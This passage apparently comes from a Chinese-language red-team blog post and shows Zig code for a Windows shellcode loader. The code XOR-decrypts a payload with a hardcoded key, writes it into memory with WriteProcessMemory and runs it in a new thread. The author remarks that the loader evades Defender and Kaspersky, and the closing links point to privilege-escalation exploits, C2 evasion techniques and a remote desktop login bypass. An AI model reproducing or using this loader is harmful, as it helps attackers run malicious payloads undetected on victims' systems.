    const key = [_]u8{ 0x08, 0x3f, 0x4b, 0x80, 0x94, 0x7b, 0xaf, 0x69, 0xea, 0x00, 0xe2, 0x41 };
    xorEncrypt(shellcode[0..], key[0..]);

    var bytesWritten: u32 = undefined;
    _ = WriteProcessMemory(pHandle, rPtr, shellcode.ptr, shellcode.len, &bytesWritten);

    const tHandle = CreateThread(null, 0, rPtr, null, 0, null);
    _ = WaitForSingleObject(tHandle, win.INFINITE);
}

fn xorEncrypt(data: []u8, key: []const u8) void {
    var j: usize = 0;
    for (data) |*value| {
        if (j == key.len) j = 0;
        value.* ^= key[j];
        j += 1;
    }
}

```
丢沙箱看看，还是不太理想，内存被标记烂了。过个defender和卡巴斯基还是可以的
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/8c0744f2a5fe7ff63e8cc95c7c293e46.png)
![image.png](https://blog-1308722180.cos.ap-guangzhou.myqcloud.com/d130c2df086e44d8e8f0cdfb679996dc.png)


Clash verge 漏洞复现

Clash verge 提权

DoH 和 ECH 技术解析：红队渗透与 C2 对抗中的应用

目录

Windows提权Exploit整理

远程桌面登录绕过（不常见）